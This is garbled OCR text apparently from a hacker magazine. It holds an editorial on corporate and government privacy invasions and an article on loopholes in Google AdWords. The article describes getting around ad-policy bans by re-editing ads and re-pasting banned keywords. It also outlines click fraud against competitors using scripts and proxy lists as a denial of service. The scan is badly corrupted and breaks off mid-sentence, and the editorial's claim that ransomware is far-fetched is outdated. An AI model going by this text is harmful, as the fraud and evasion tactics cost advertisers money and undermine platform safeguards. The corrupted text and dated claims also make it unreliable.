






One Step Forward, 
Two Steps Back 

It's always good to see increased public aware­
ness on an issue, particularly one which can have a 
profound effect on our lives. Privacy is just such an 
issue. Over the years, the public has witnessed just 
how fragile that privacy is and how poorly protected 
it continues to be. But knowing this isn't nearly 
enough. Action needs to be taken. And the propa­
ganda we continue to be fed needs to be rejected 
out of hand. 

You would have to be almost completely cut off 
from the world to have missed some of the most 
grievous privacy invasions that have taken place re­
cently. This doesn't even take into account the wish 
list of our governments who want the ability to 
snoop at will and in secrecy. We're talking about the 
normal course of business where our private records 
are open to unauthorized persons, bandied about, 
traded, sold, lost, and otherwise treated without 
the respect and care they deserve and in violation of 
the trust we have bestowed upon these entities. 

Of course, watching the mass media report these 
very same stories you might be guided to the con­
clusion that this is all the fault of hackers - as usual. 
After all, who else would invade your privacy, steal 
your identity, and flout the law? Certainly not our 
nation's largest corporations. Let's probe a little 
deeper and see for ourselves. 

In February, a data collection company called 
Choicepoint (self-described as "the premier provider 
of decision-making intelligence to businesses and 
government") revealed that it had sold the private 
information of 145,000 people to a company that 
had no business having this information. The irony 
is quite bitter. Here we have a company with ten bil­
lion records that is responsible for running back­
ground checks on just about every American citizen 
and somehow they weren't able to figure out that 
the company they were doing business with was 
fraudulent. 

In March, LexisNexis reported that 310,000 peo­
ple had their driver's license numbers and Social Se­
curity Numbers compromised through a subsidiary 
known as Seisint Inc. It seems that unauthorized ac­
counts were created in the name of various law en­
forcement agencies and the whole thing wasn't even 
uncovered until the perpetrator's parents turned 
him in. 

The banking world has been especially hard hit 
by security lapses involving its customers. Bank of 
America lost backup tapes with data on 1.2 million 
federal employees in February. Citigroup managed 
to top this in June by losing tapes with the records 
of 3.9 million of its customers. Wachovia employees 
were implicated in a fraud scheme that involved the 
records of nearly 700,000 customers. And these are 

only some of the reported cases. In fact, most 
of these cases would never have been known to 
the public if the companies themselves hadn't come 
forward. 

Oddly enough, only one state (California) re­
quired consumers be notified when their confiden­
tial records were given to unauthorized entities. 
(Other states are now in the process of passing their 
own such laws.) This relatively recent law (2003) 
may be the reason why so many incidents are being 
reported which leads one to wonder just how many 
haven't been over the years. 

When you take into account the fact that these 
companies think nothing of sharing this data with 
call centers all over the world, regularly ship unen­
crypted copies of all of their databases through 
commercial shippers, and basically sell their cus­
tomers' information to anyone willing to pay, it's a 
wonder there's any semblance of privacy left at all. 

Then of course you have your generic screwups 
where phenomenally stupid things happen due to 
the people in charge not having a clue. The victim is 
almost always another bit of privacy. 

There was an incident involving at least six uni­
versities, including Stanford and M.LT., where infor­
mation on the status of prospective students' 
applications was actually made available online. To 
anyone in the world. And rather than focus atten­
tion on the deplorable security practices that made 
such a thing possible in the first place, the schools 
decided to make a big show of rejecting any appli­
cants suspected of using this method to investigate 
their status. We would expect this kind of treatment 
if the applicants had actually managed to break into 
a computer to get this info. Or even if they had been 
the ones to figure it out. But these were people who 
simply checked a website that had material about 
them publicly available! Whether they were just cu­
rious about their own status or merely checking to 
see if such a thing was actually wide open to the 
public, they were hardly the reason why it happened 
nor were they engaged in any behavior of a clearly 
dishonest nature. Pretending a problem doesn't ex­
ist seems to be the preferred method of dealing with 
such things in the eyes of our leading universities. 
It's little wonder so many carry those values on to 
their respective professions. 

In another incident, more than 100 students at 
the University of Kansas got an email telling them 
that they had failed a class and were in danger of 
having their financial aid revoked. Every email ad­
dress was listed in the cc: field meaning anyone get­
ting this letter knew the names and email addresses 
of everyone else who shared their status. As far as 
we know, no action was taken against the people re-
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sponsibLe for this gross intrusion into peopLe's Lives. 
[LearLy there were individuals who were untrained in 
handLing confidentiaL matters who were given ac­
cess to private records which they shouLdn't have 
been anywhere near. There's nothing to indicate 
that this sort of thing is at aLL unusuaL. based on the 
many similar stories circulating. 

But this kind of sLoppiness and gross negLigence 
is onLy part of the story. The deLiberate intrusions 
by those who are unaccountabLe are orders of mag­
nitude worse. 

RelativeLy few of us know that Fedex has been 
permitting federaL authorities to peruse its data­
bases and view aLL kinds of information on who's 
sending packages where, how they're paying for it, 
and more - aLL without those LittLe things caLLed war­
rants. "Our guys just Love it," one senior customs of­
ficiaL was quoted as saying. It was aLmost three 
years ago that Operation TIPS (Terrorism Informa­
tion and Prevention System) was abandoned be­
cause of a pubLic outcry against its OrweLLian vision 
of utiLity workers, drivers, and deLivery peopLe being 
organized into "watchers" who wouLd be on the 
Lookout for any kind of suspicious activity or persons 
that they came across in their daily routines. With 
this LeveL of cooperation by Fedex, the same vision 
is achieved while bypassing aLL of the LegaLities in­
voLved in government. The Department of Justice 
has praised Fedex for "passing aLong information 
about pubLicly observed aberrant behavior." So any­
thing abnormaL is now to be considered potentiaLLy 
dangerous. What an enLightened approach. 

AirLines have aLso been caught turning over aLL 
kinds of information on its passengers to the gov­
ernment without any LegaL reason for having to do 
so. SchooLs too are being encouraged to hand over 
their previousLy confidentiaL records. And Libraries 
are increasingLy coming under pressure to reveaL in­
formation on who is reading what to the authorities. 
FortunateLy many Librarians have a very keen sense 
of the vaLue of our privacy and have been doing 
everything in their power to subvert and expose 
these wanton displays of intimidation and abuse of 
process. But that hasn't been enough to stop Li­
braries Like one in NaperviLLe, IlLinois from recentLy 
instaLLing fingerprint scanners for Internet access 
control. 

Apart from the terror threat, the equaLLy nebu­
Lous "hacker threat" is used most often to justify 
draconian measures or to shift bLame away from 
those who are really responsibLe. News reports de­
fine the threat as "hackers who want to get access 
to your credit card numbers" and never "companies, 
organizations, and governments that intrude upon 
your privacy by trading your personaL information, 
Leaving it unprotected, and examining aspects of 
your Life that are none of their business." 

One of the more absurd stories that was circuLat­
ing aLL over the pLace in May accused "hackers" of 
"hoLding computers hostage" by somehow encrypt­
ing victims' hard drives and demanding money in ex­
change for the key. We have yet to hear of a singLe 

instance where something Like this actuaLLy hap­
pened. It seems to be more of a theoreticaL scenario 
which might work in a TV series but doesn't have 
much of a chance in reaL Life. Let's set aside the clear 
fact that this has got absoLuteLy nothing to do with 
hacking. The process of encrypting aLL of these files 
by simpLy having someone visit a website and then 
somehow coordinating both the decryption and the 
transfer of money without somehow being traced is 
pretty farfetched once you start to actuaLLy think 
about it. Yet this story was front page news as the 
Latest hacker threat. Meanwhile the true threats 
were given far Less attention, if any at aLl. 

Such stories wiLL aLways pop up because they're 
an easy way to get ratings and readers. WhiLe we 
need to aLways chaLLenge misinformation whenever 
it appears, we need to also steer attention towards 
the reaL threats and not Let the perpetrators get 
away with thei r deeds. 

Perhaps it's time to demonstrate how easiLy pri­
vate information can be obtained by focusing on 
those who have been so remiss in their responsibiLi­
ties insofar as protecting our privacy. ALL kinds of 
documents exist onLine with information that reaLLy 
has no business in the pubLic domain. SociaL Secu­
rity Numbers are compLeteLy unprotected, unListed 
phone numbers are passed around from banks to 
teLemarketers, and "mistakes" Like the ones men­
tioned above are occurring in ever increasing num­
bers. So why not target the corporate boards, the 
executives, and the poLiticians and make their pri­
vate information as easily accessibLe as they make 
ours? If it's LegaL to have our SociaL Security Num­
bers pubLicly dispLayed, then why shouLd eLected of­
ficiaLs get to have theirs crossed out in pubLic 
documents? That's just one of many exampLes of 
how some peopLe are more equaL than others. 

So far, the onLy reactions to the probLem that 
we've seen invoLve a combination of marketing new 
products and bLaming anyone who uncovers the 
weaknesses. Nothing new there. The sad fact re­
mains that if we don't take action, our privacy wiLL 
continue to mean Less and Less. There's nothing in it 
for the powers that be since they can just seLL new 
products to "protect" us and create an eLement of 
fear that wiLL Lend itseLf to passing whatever new bit 
of Legislation strikes their fancy. Expect a push for 
mandatory identity cards that wiLL "protect your 
identity" from the eviL peopLe who wish to steaL it. 
Get ready to buy insurance poLicies to protect your 
privacy from the very same companies that compro­
mise it in the first pLace. And expect not to collect a 
dime from the true identity thieves - those who turn 
your Life into a commodity to be bought and soLd; 
they wiLL be sure to cover their asses admirabLy and 
turn the attention to the small time crooks as the 
cause of the probLem. 

It's great to be aware of what's been going on. 
But that's onLy the first step. Now it's time to de­
mand accountabiLity and take back an important 
piece of our Lives. 
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"No government can be long secure without a 

formidable opposition. " - Benjamin Disraeli 
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by stan kdawg@stan kdawg.com 
Like many others, I have been a h uge fa n of 

Goog le over the  past few yea rs. I have spoken 
very h ig h ly of it on  my weekly radi o show Binary 
RevoLution Radio discussi ng  hacki n g  techn iques ,  
i nterpreti n g  fi nds ,  discussi ng  n ew features, a nd  
lots of other thi ngs  Goog le-related .  Unfo rtu­
nately, over the  yea rs I have sta rted to fi n d  that 
I was begi n n i n g  to questi o n  some of Goog le's 
p racti ces. Whether  it was the too lba r, the  myste­
rious  "pagerank" system ,  thei r  spideri n g  eng ine ,  
GMa i l  p rivacy concerns ,  thei r  pu rchase of the 
Usenet a rchives, o r  a ny n u m ber  of other  featu res, 
I was sta rti n g  to th ink that maybe they a re n ot 
q uite as who lesome  as they fi rst appea red . 

I liked the  fact that they were maki n g  ad­
vances a n d  pus hi n g  the  envelope i n  terms of  
search eng ine  resu lts . I did n ot n ecessa ri ly h ave a 
p rob lem with the i n dividua l  featu res themselves, 
but I began to questi o n  the way that they went 
about the featu res and thei r  relationsh ips  with 
each other. Putti n g  ads in the GMa i l  accounts? 
Not such a big thi ng ,  except that Goog le a l­
legedly tracks every I P  address a nd  associates it 
with every sea rch request and therefore, every 
emai l. They can claim that no h uman  reads per­
sona l  emai l ,  b ut I a m  not wi lli n g  to take thei r  
wo rd fo r i t  anymore .  A n d  what if  s o m e  law en­
forcement agency subpoenas  that i nformati o n ?  
That p retty much  trumps a ny p rivacy statement 
from Google .  If they did n 't track such i ntrusive 
i nformation  then there wou ld n 't be a p rob lem .  
B u t  I digress. 

There was sti l l  one Goog le product that I had 
n o  experience in and I thought  it was ti me  to 
take the dive. I decided that my next a rea of 
study wou ld be the Goog le AdWords progra m .  

Goog le AdWords, as y o u  might  have guessed 
from the name ,  i s  a n  adverti si n g  p rogram offered 
by "the  big G." This p rogram is what puts those 
ads on  the rig ht hand side of the page contai n i ng  
you r  sea rch resu lts . These resu lts a lso go i n  you r  
G Mai l, g roups, o r  a nywhere else that Goog le has  
authorized to use the AdWords ads .  They a lso 
have some pa rtnered sites that use these ads on 

thei r  pages as  well. These locati on s  seem to 
change frequently and thei r  documented li st of 
cli ents i s  no lo nger  correct. Most of the o nes that 
I tri ed to fo llow-up  on have switched over to the  
Google AdWords competitor, Overture, which i s  
used by  both  Ya hoo  a nd  MSN .  In fact, Overtu re i s  
actua lly owned by Ya hoo n ow. 

I don 't rea lly th ink that adverti si n g  my site (s)  
i n  Goog le i s  worthwhi le,  but I fig u red it wou ld be 
a n  i nteresti n g  experiment a nd  research assi g n ­
ment. I t  may  even be  a n  opportunity for some  
"i nvestigative repo rti ng , "  if you  wi ll, so I took the  
p l unge .  The p lunge  consi sted of headi ng  over to 
adwords .goog le .com and  readi ng  the avai lab le 
documentati on  a n d  then d roppi ng  20 bones to 
get an account  sta rted . You r  $20  i s  basi ca lly a 
debit from which you r  fees a re pu lled a n d  it is the 
m ini m u m  requi red (at the  ti me  of this writi n g )  to 
create a n  account. They pu ll five bucks for a 
setup fee from that deposit i n  the fi rst month .  
There a re a few setti ngs  that  you create when you  
set  up  the  account wh ich  wi ll come  i nto p lay 
later. 

Now that you have an account, you n eed to 
create a "ca m paig n ." Ca mpaigns  a re logi ca l divi­
sions  of different topics that you want to adver­
tise under  the  sa me  account a nd  bi l l  to the  same 
p lace. Most sma ll users  like me  wi ll o n ly n eed one 
campaign .  If you have sites that  cover severa l dif­
ferent topics, you might  want to sepa rate you r  
ads  based on  the  topi cs that you  want t o  adver­
tise .  Perhaps  you a re a web deve loper o r  a h ost­
i n g  company a nd  you n eed to advertise fo r a pet 
store, a hobby store, a nd  a ca r dea lersh ip .  Each 
one of these wi ll have different keywo rds fo r dif­
ferent aud iences a n d  you wou ld n ot want to mix 
these sites and topics together. This i s  o n ly fo r 
o rganizati o na l  p u rposes a nd  n ot very i nteresti n g  
t o  hackers. 

Wh i le campaig n s  a re logi ca l division s  fo r con ­
tent  type,  "ad g rou ps" a re subdivi si ons  of ca m­
paigns .  Cam pa igns  a re based o n  topics, but ad 
g roups genera lly a re based on  i n dividua l  sites. 
Each ad  group has one ad which lends  to bei n g  
used one  pe r  site. F o r  the  examp le o f  a ca r site, 
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you might  have a different ad group fo r n ew ca rs 
a nd  a different ad g roup  fo r used ca rs.  The reason 
i s  because there wiLL be different keywords that 
f it  each site better. In my case ,  I made a different 
ad group fo r different sub-domai n s  and p rojects 
on ou r  site. Fo r exa mpLe: We have an ad g roup  fo r 
Binary Revolution Radio and  a different ad g roup  
fo r Binary Revolution Magazine. I aLso have a few 
other ad g roups that I use to do some "testi ng "  
but  basica LLy you  wi lL want  to create a different 
ad  g roup  for each different ad  that you want to 
make.  

At this poi nt, you shouLd stiLL have $15 Left to 
spend on  adverti si ng .  The way that the  system 
works is very si miLa r  to an on Li n e  auction  p rocess. 
Instead of biddi ng  on  items ,  h owever, you a re 
biddi n g  on " keywords . "  You have to decide  what 
keywords wiLL p rovide  you with the  h ighest n um­
ber of cli cks .  ObviousLy, if  you  a re a ca r deaLer, 
you wouLd use keywords fo r different ca r modeLs 
or other reLated sea rch terms .  You couLd aLso put 
p h rases Li ke "free porn "  which may generate 
many hits but no one  wiLL b uy a nythi ng  once they 
get to you r  site . You paid fo r thei r  c li ck  but they 
did n 't give you a nythi ng  i n  retu r n .  They did n 't 
want you r  ca r site, they wanted free porn ! Choos­
ing a pp rop ri ate and manageab Le keywords i s  o ne  
facto r, b ut the  other  facto r  i s  that you  a re n ot t he  
o n ly person who wants t ho se  pa rti cuLa r keywords 
and there i s  o n Ly so much screen space to dish 
out. This i s  where the biddi ng  comes i n .  

Certai n words a re worth mo re than  others. 
Obvious Ly there a re many ca r deaLersh ips  out 
there and they a LL want the  sa me  terms such as 
" n ew ca r deaLer. " The way Goog Le h a nd Les this 
confli ct i s  that they seLL to the  h ighest bidder. 
The mo re you bid on the  keywords that you want, 
the h i gher on  the page you r  ad  wiLL appea r. This 
biddi n g  wa r i s  a perfect desi g n  fo r pay-per-cli ck  
advertisi n g .  You o n Ly get cha rged you r  b id  
amount when someone actuaLLy c licks  though  
you r  a d .  Every ti me  it i s  s hown on  the  page ,  it i s  
counted as a n  "i mp ressi o n "  a n d  every ti me  some­
one  actuaLLy c licks  on  you r  ad ,  it i s  counted as  a 
"cli ck-t h roug h . "  You must mai ntai n a certai n CTR 
(c li ck-t h rough-ratio )  that generaLLy n eeds to be 
at Least 0 . 5  percent (one  cli c k-through out of 
every 200 imp ressions )  b ut this percentage fluc­
tuates based on other factors Li ke the size of the  
cam pa ign  a n d  the  frequency of the  keywords. If 
you do n ot stay above you r  CTR, you r  account wi LL 
be sLowed a nd/or ca nceLed . An i n teresti n g  bit of 
trivia i s  that the most expensive keywords a re 
usuaLLy those reLated to Lawsuits a n d  Lawyers who 
a re Looki n g  fo r the  big payout. Th i s  i n cludes 
words and p h rases Li ke "class acti o n "  and "sLi p  
a n d  faLL" with t h e  idea that i t  o n Ly ta kes one  big 
payoff from a class action  Lawsuit to make them 

miLLi on s  of doLLa rs and justify the cost of the  ads .  
Insert a n  obLi gatory Lawyer j o ke of you r  choi ce 
h ere. 

So this b ri ngs  you to the keywords section  
wh i ch  i s  where you  wiLL do a Lot of hacki n g  to  get 
good keywords a nd  fi n d  some interesti n g  thi ngs  
about the  system .  You choose  keywords that  you  
thi n k  a re reLevant a nd  wiLL generate hits o n  you r  
a d s .  AdWords wiLL estimate the  n u m ber  of h its 
a n d  the  CTR usi n g  some magi caL fo rmu La that i s  
n ot pubLic ly avai labLe. Th i s  too L  may  work  fi ne  fo r 
La rger  or medi um  sized ca mpaigns ,  but fo r smaLL 
ca mpai gn s  it was woefuLLy skewed even to the  
poi nt that  I had ads that  were bei n g  sLowed o r  
ca n celed with in a day o f  creati n g  t h em .  T h e  Ad­
Words system expects mo re clicks  than a very 
un ique  keyword can p rovide  and it j ust gives up 
fa r too easi ly. If you r  keywords faiL too often 
(there a re leveLs of fai lu re that a re un important 
i n  this context) you r  account  wi LL be  "sLowed"  a n d  
you r  ads  wiLL n ot show as often ,  o r  so they claim .  
I fou n d  that m y  keywords, bei n g  very detai led 
a nd  obscure to the n on-hacki n g  worLd , were sti ll 
bei n g  shown when I tested for the sa me  key­
words .  I guess you ca n not sLow somethi ng  down 
o r  Lower it i n  the resuLts when it i s  so unique that 
there a re n o  other  ads  to put i n  front of it. If you 
wa nt to reactivate you r  account  to fu ll speed, you 
have two g race reactivati on s  and then to reacti­
vate it a th i rd ti me,  you m ust pay a $ 5  doLLa r re­
activati on  fee (which i s  ri dicuLous Ly u njustifi ab Le 
fo r an automated system ) .  My account  was 
"sLowed" a mere 48 hou rs after its i nitiaL cre­
ati o n .  This created a paranoid existence where I 
was sca red that if I did n ot check the account  
dai Ly, they wouLd kiLL it agai n .  I was  suddenLy de­
moted from a webmaster to  a babysitter. 

When it comes to the  keyword system itseLf, 
o ne  of the  th ings  that I found  interesti n g  was the  
keywo rd tooL  that  tries to heLp you come  u p  with 
better keywords to add to you r  campai g n .  O n ce 
you put i n  a few keywords to get started,  the key­
word tooL wiLL then try to suggest si miLa r key­
words or p h rases that a re reLated to you r  o rigi n a L  
keywords.  You wi LL fi n d  s ome  interesti n g  resuLts 
this way. I sta rted with onLy a few keywords a n d  
found  myseLf with many  more based o n  the  key­
word tooL. But this was where mo re probLems 
started to occur. I found  that  my keywords were 
bei n g  ca n ceLed way too easi ly a nd  were n ot given 
a fai r  chance to perfo rm .  Li ke I said earLi e r, if  the  
ca mpaign was o n  a La rger scaLe, then this stati s­
tics modeL  may hoLd true. But fo r smaLLer ca m­
pai gn s  it si m pLy was  mo re of a hassLe. I t  a Lso Led 
to a nother  p robLem that I found  sLi g htLy i ron ic  
which i s  that  the keyword tooL  suggested words 
and p h rases to me  that I was Later denied due  
to thei r  ToS (Terms Of Service) a nyway. Why 
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recommend  them if you a re n ot goi n g  to a LLow me  
t o  u s e  t h em?  This i s  p retty much  when  my experi ­
ence became  tota lly negative with AdWords .  

I a Lso  ad mit up  front that  I knew that thei r  
ToS h a d  a ru Le agai nst "hacki n g  a n d  cracki n g "  
sites . I knew this a h ead o f  ti me ,  b ut I k n ow  that 
my site i s  a hacki n g  site and does n ot p romote 
cracki n g .  Because of this ,  I thought that maybe 
Goog Le wouLd "do n o  evi L" and be Li bera L with 
thei r  po Li cy a nd  u nderstand  that my site does not 
promote i llega L  activity and  exp Li citly states that 
i n  n u merous p Laces.  Appa rently, Goog Le did n ot 
s ha re this viewpoi nt as I found  out Later. In the  
begi n ni n g ,  however, when you create a keywo rd 
in you ad g roup  it gets put i nto the rotation  im­
mediately! That is i m po rtant to n ote. My ad 
g roup  stayed in rotation  fo r about fou r  or five 
days before I got the ToS n otice that my ads were 
suspended .  I em ai led the  customer  service per­
son a n d  exp Lai ned to them that my site did not 
contai n a ny reference to "cracki n g "  and I even 
went so fa r as to s how them the Goog Le Li n k  to 
"defi ne : hacker" which exp Lai ned the defi niti o n  of 
hacker right  from their  own site. I a Lso poi nted 
out that GoogLe even offers a " h acker tra ns Lator" 
service at http ://www.googLe . com/i ntLjxx-hac 
- kerf which seemed quite hypocriti ca L  to me .  I 
a lso gave Li n ks to severa L  p rom inent sites that 
clea rLy defi ne  a n d  de Li n eate the difference be­
tween hackers and crackers . None of this did a ny 
good .  

That  was  the motivati on  fo r this a rti cle. I f  
Goog Le doesn't want to be reasonab Le a nd  wants 
to keep forci ng  thei r  ru Les on me,  then maybe I 
s hou Ld point out the  flaws i n  thei r  system for the  
enti re worLd to  see. Fi rst, Let me  po int  out aga in  
that you r  ads  do not get checked upon  i niti a L  cre­
ation  before they get added which i s  very usefu L 
if you want to be a spammer or p romote your  
prOn site fo r a few days on  Goog Le ( a Lthough  
some words a re exp Li citly banned from bei ng i n  
a n  ad  a t  a LL) . You wi LL p retty m u c h  have you r  a d  
out there fo r a few hou rs o r  days before they wi ll 
catch and ban it. Overture checks your ads befo re 
they a re made avai La b Le .  They a Lso ba n n ed my 
ads from Overture, b ut at Least they weren 't hyp­
ocritica L  about it. Goog Le was bann i ng  my ads fo r 
havi n g  the  word "hacki n g "  i n  them but Amazon 
and  eBay were both usi ng  that keywo rd i n  thei r  
ads .  I guess they have bigger wa llets than I do .  

Th e next b ig  flaw is  that  when Goog Le "dis­
ab Les" you r  account, they si mp Ly remove it from 
the rotation  u nti L you correct the probLem .  They 
have to err on the side of caution  and  give you a 
ch a n ce to fix the item i n  questi o n .  To do this ,  you 
go i nto you r  ad a nd  change it based on thei r  ex­
p La nation  of the p rob Lem .  In  my case, they did n 't 
Li ke the words " h acki n g  magazi ne" so I si mp Ly 

changed it to "security magazi n e" a n d  it was im ­
mediateLy pu t  ba c k  i nto the rotati o n .  I t  took 
them a n other  fou r  o r  five days before they dis­
ab Led my account  agai n ,  this ti me  for the  same 
reaso n .  I agai n tried to reason with them that the 
ad did n ot have the  word " hacker" i n  it and that it  
was si mp Ly a site about computer secu rity but 
they weren 't  heari n g  it. I got the  same cut a n d  
paste response o f  the  s ame  " no  hacki n g  o r  crack­
i ng "  ru Les every ti me  I contacted them Li ke I was 
some sort of mo ro n .  Fi ne ,  if they wanted to p Lay 
that way, I certai n Ly wasn 't goi n g  down without a 
fig ht. And  I a Lso  wasn 't goi ng  down without us­
ing up  my $15 credit that I sti l l  had  Left ! 

This is the  most h i la rious  part of the  story. 
Due to the method by which they check a n d  ver­
ify ads ,  I si mp Ly went back i nto my ad a nd  
changed it aga i n  thi n ki n g  that it wouLd p robab Ly 
go back i nto rotati on  i m mediateLy. I removed the 
word "secu rity" this ti me  and  simp Ly Left "maga­
zi ne . "  The ad  was i nsta ntly reactivated . WeLL, I 
bega n to wonder  whether  they kept any sort of 
database o r  hi story of ads that were ban n ed to 
stop me from goi n g  back to them agai n .  I edited 
my ad agai n a nd  decided that I was damn  weLL 
goi ng  to put my ad  back out there. I put the word 
"hacki ng "  back i n  fro nt of "magazi n e" and  voi la ! I 
was back i n  busi n ess !  It was that si mp Le !  I ca n 
p Lay this cat a nd  mouse game for a Lo n g  ti me  if 
they a re not goi n g  to b Lock my p revious  ads  a nd  
even if they tried I wi LL app Ly some of the  ta cti cs 
from my "31337sp34k"  a rti cle to make ti ny 
changes and bypass j ust about any fi lter they 
want to th row at me .  And so it went fo r about a 
month u nti L they tried somethi ng  different. 

When they decided to ban my ad this ti me,  
they a Lso added i n  a Little extra twist. This ti me  
they went i nto every si ng Le one  of my ad groups 
and banned all of my ads  (some of which had "se­
cu rity, " some had " hacki ng , "  etc. )  but even better 
than this ,  they a Lso went i n  and  banned every i n ­
dividua L  keyword that I was usi n g .  This i n cluded 
"secu rity magazi ne , "  " hacki n g  magazi ne , "  
" ph  rea ki n g  magazi n e , "  a nd  i n cluded the o nes 
that they themselves recom mended earLi e r  with 
their own keywo rd tooL! I decided to push back a 
LittLe bit a nd  comp La in  that they were bann i ng  
keywo rds t hat  were suggested by  thei r  own sys­
tem but they sti lL conti n ued to cut a nd  paste the 
same response to me  over and  over. WeLL, now I 
had to h and Le this probLem as weLl. 

As if  it wasn 't fu n ny the first ti me  (two para­
graphs  ago),  Let me  repeat it. I went i n  and  
edited my ads aga i n  j ust as I had been  doi n g  a nd  
they were, o n ce agai n ,  i n sta ntly reactivated .  This 
ti me,  however, they were not respondi n g  to my 
sea rch terms .  Obvious Ly this i s  because even 
though  the ad  g roups  themseLves were back i n  
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rotati o n ,  the i n dividua l  keywords were sti ll 
ban ned .  Well, I figu red that si n ce it wo rked fo r 
the ad itself, maybe I cou ld a lso modify the key­
words j ust as easi ly a nd  reactivate them as well. I 
cut my list of keywords out to a text fi le and  
saved the  ad g roup  with n o  keywords i n  i t .  I t hen  
cli cked on  " add  keywords" a n d  pasted those  bad  
boys right  back  i n .  I thi n k  you  can a lready g uess 
what happened .  I was back up a n d  runn i ng  with 
a ll keywords i n tact. They do not seem to check 
ads with any regu la rity. 

But this was j ust the story of the big loop­
ho les that I found  i n  the fundamenta l aspect of 
thei r  system .  I a lso have some genera l  advi ce fo r 
people who  actua lly do want to use Goog le Ad­
Words .  One of the controversies with this type of 
adverti si n g  is that you can use j ust about a ny 
keywords that you want. This i n cludes proper 
names and copyri g hted titles of companies .  Coke 
ca n use the  keyword " Pepsi." Honda  can use "Toy­
ota , "  a nd  sim i la r  re lated products ca n try to cap­
italize o n  thei r  competito r's n ame  a nd ,  un less 
someone com p la ins ,  it wi ll be rig ht there .  Now 
the big guns li ke the ones j ust menti oned wi ll put 
a Cease a n d  Desist on that activity with a quick­
n ess, but fo r sma ller sites, you have some more 
flexi bi lity. I use keywords of some other popu la r  
hacki n g  magazi n es i n  my ads  ('coug h') a nd  
some secu rity trade magazi n es as 

( li ke me) ,  you cou ld j ust c li c k  thei r  ads  as much 
as possi b le a nd  they wi ll pay thei r  bid amount for 
each cli ck-throug h .  Now, I don 't be lieve it is so 
si mp le as to a llow you to j ust sit and c lick  over 
a nd  over. It looks to me li ke they use session  
vari ab les to  limit how many clicks  ca n come from 
one  person .  This may a lso be used i n  conj unctio n  
with I P  reso lution  t o  o n ly give one  c li c k  p e r  cus­
tomer. I thi n k  we a ll know that a little scri pti n g  
a n d  a li st o f  p roxy servers ca n overcome  both of 
these obstacles. And si n ce the ads disappea r  af­
ter the dai ly li mit i s  reached ,  this attack a lso 
doub les as  a DoS attack by removi ng  the  ads  for 
24 hou rs ,  which might be a n  i nteresti n g  move for 
a competitor to make.  I wou ldn 't recommend  that 
you do this because it is p retty rude and  it wi ll 
cost someone money which i s  n ot a good thi n g .  
Don 't bother tryi ng  this o n  my campaign because 
I set my dai ly limit very low so that it would ta ke 
you months  ( litera lly) to use up my $15 of credit. 
Those lawyers who pay big money fo r the expen­
sive keywords have a little mo re to worry about 
than  I do .  

Fi na lly, the fun niest hack  of a ll i s  my last s lap  
i n  the face to  Goog le .  I created an  ad  group 
(which wi ll n ot be worki n g  by the  ti me  you read 
this) . I i m mediately took it down , fo r fea r of get­
ti ng  ca nceled outrig ht, but it is h ere fo r posterity. 

II l l k h ' owned by the DOP 
we to try to et peop e n ow t at Stank Dawg owns AdWords 

+ Create New Text Ad I �J@...M 
Edit Delete 

we exi st. : Oi l l  your base a r e  belong 10 DDpl 

Another si m i la r  ti p is to use mis-
: -.1;.;ni<dolN'1 u,rn 

spelled versi on s  of you r  keywords .  
Th i s  i s  a huge  p lace to get a leg  up  
on  you r  competiti o n .  Goog le wi ll :S •• rchTot.1 
come  up with a suggestion  if it no- ieontentTot.1 

Status clIcks 

ti ces a user 's sea rch terms a re mis- i [J "googl' ",II, '"rks." 
spelled, b ut i n  the meantime  the

' 

user has  scan ned the page and  seen you r  ad - i n ­
creasi ng  you r  visi bi lity. You may  get t h em  t o  click  
on you r  ad  without even correcti ng  thei r  spelli n g  
a nd  r u n n i n g  the correct search . I thi n k  this i s  a 
g reat examp le of soci a l  engi n eeri n g  where you 
have to u nderstand  how people thi n k  and see 
where that i ntersects with tec hno logy. 

One of the mo re evi l  thi ngs  you ca n do is 
based on  the "dai ly spendi n g  li mit" which i s  one  
of the items I mentioned earli e r  t hat  i s  set up  
when  you  fi rst ma ke t he  account. You can tell Ad­
Words what you want you r  maxi m u m  dai ly spend­
i ng  li mit to be. When you reach that li mit, based 
on  enough  cli ck-th roughs  to hit that amount, 
you r  ads wi ll be removed from the rotation  unti l  
t h e  next day. This is meant t o  be a safety measure 
fo r sma ller sites who don 't want to get over­
whe lmed with so many hits or o rders that they 
can n ot keep up .  If you rea lly wa nted to be a jerk 
to you r  competitor, o r  j ust to a ra ndom stranger  

The ad group that  you see i n  the fi rst image  
p roduced the resu lts that  you see  i n  the  secon d  
i m a g e  w h e n  sea rch ing  for t h e  stri n g  "Goog le re­
a lly sucks . "  I am su re that my account  wi ll be s h ut 
down when this a rti cle is pub li c ly released,  but 
whi le I am  waiti n g ,  I wou ld li ke to conti n ue to ex­
p lore.  Because of this ,  I am not leaving  this key­
word stri n g  up and  r unn i ng  si n ce they wi ll 
p robab ly s hut me  down if they saw it so if  you try 
it as you read this, it wi ll n ot be worki n g  (at least 
not from me) .  This i s  the n ew way to p rotest a n d  
i s  remin iscent o f  t h e  fo rd real lysucks .com saga a 
few yea rs back .  

You can not o n ly put i n  company protests, b ut 
person a l  messages to people triggered by key­
words.  Perhaps you have issues with a certai n 
person a n d  you want thei r  n ame  and  a n ice mes­
sage to appea r when you search fo r them . It 
cou ld be used fo r a lmost a nythi n g .  Theoreti ca lly, 
you cou ld use this tri ck  to send h idden messages 
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to someone by sendi ng  them o n ly a very long  (80 
character maxi m u m )  and unique key p h rase.  The 
gi bberi s h  p h rase would n ot generate a ny hits, 
but the ad  i s  sti l l  de livered (this i s  verifi ed ) .  You 
wou ld contact the receiver a nd  give them the 
p h rase a nd  they would know to loo k  fo r it on  
Goog le a nd  then cli ck  on  the resu lti ng  ad which 
wou ld take them to a secret site o r  message 
(which you wou ld have encrypted,  of course) 
o r  the ad itself wou ld contai n a key to a nother 
message. The app li cati on s  a re end less. 

So this resea rch has been goi n g  on  now fo r a 
coup le of months  as of this writi n g .  I o n ly want 
to get my $20  back out of it a nd  then I wi ll ca ncel  
the account .  Whi le I was waiti n g  I thought I 
wou ld sha re some of these loopho les with people 

so that they too cou ld enjoy the  Goog le AdWords 
p rogra m as m uch as I have. I a lso s ha red a few 
rea l ti ps on h ow to run  a successfu l campaign i n  
genera l. Tutoria ls a re avai la b le on  t h e  Internet 
that contai n p robab ly even less i n formati on  than  
I have provided i n  this a rti cle, yet people charge 
h u nd reds of do lla rs fo r them . You s hou ld p roba­
b ly save you r  money and  j ust send them a li n k  to 
this i n stead .  

I loved Goog le for the  longest ti me .  B ut about 
a yea r ago that a ll sta rted to change .  They bega n 
maki n g  questi onab le busi n ess deci si on s  that 
